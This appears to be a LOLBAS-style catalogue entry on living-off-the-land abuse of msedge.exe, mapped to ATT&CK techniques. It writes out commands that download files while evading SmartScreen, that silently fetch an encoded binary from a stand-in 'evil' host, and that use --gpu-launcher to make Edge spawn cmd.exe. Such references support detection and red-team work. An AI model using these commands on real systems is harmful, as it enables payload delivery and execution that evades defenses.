.. /Msedge.exe
Star

Microsoft Edge browser

Paths:

c:\Program Files\Microsoft\Edge\Application\msedge.exe
c:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Resources:

Acknowledgements:

mr.d0x (@mrd0x)

Detection:

Download

Edge will launch and download the file. A harmless file extension (e.g. .txt, .zip) should be appended to avoid SmartScreen.
```
msedge.exe https://example.com/file.exe.txt
```
Use case
Download file from the internet

Privileges required
User

Operating systems
Windows 10, Windows 11

ATT&CK® technique
T1105
Edge will silently download the file. File extension should be .html and binaries should be encoded.
```
msedge.exe --headless --enable-logging --disable-gpu --dump-dom "http://example.com/evil.b64.html" > out.b64
```
Use case
Download file from the internet

Privileges required
User

Operating systems
Windows 10, Windows 11

ATT&CK® technique
T1105

Execute

Edge spawns cmd.exe as a child process of msedge.exe and executes the ping command
```
msedge.exe --disable-gpu-sandbox --gpu-launcher="C:\Windows\system32\cmd.exe /c ping google.com &&"
```
Use case
Executes a process under a trusted Microsoft signed binary

Privileges required
User

Operating systems
Windows 10, Windows 11

ATT&CK® technique
T1218.015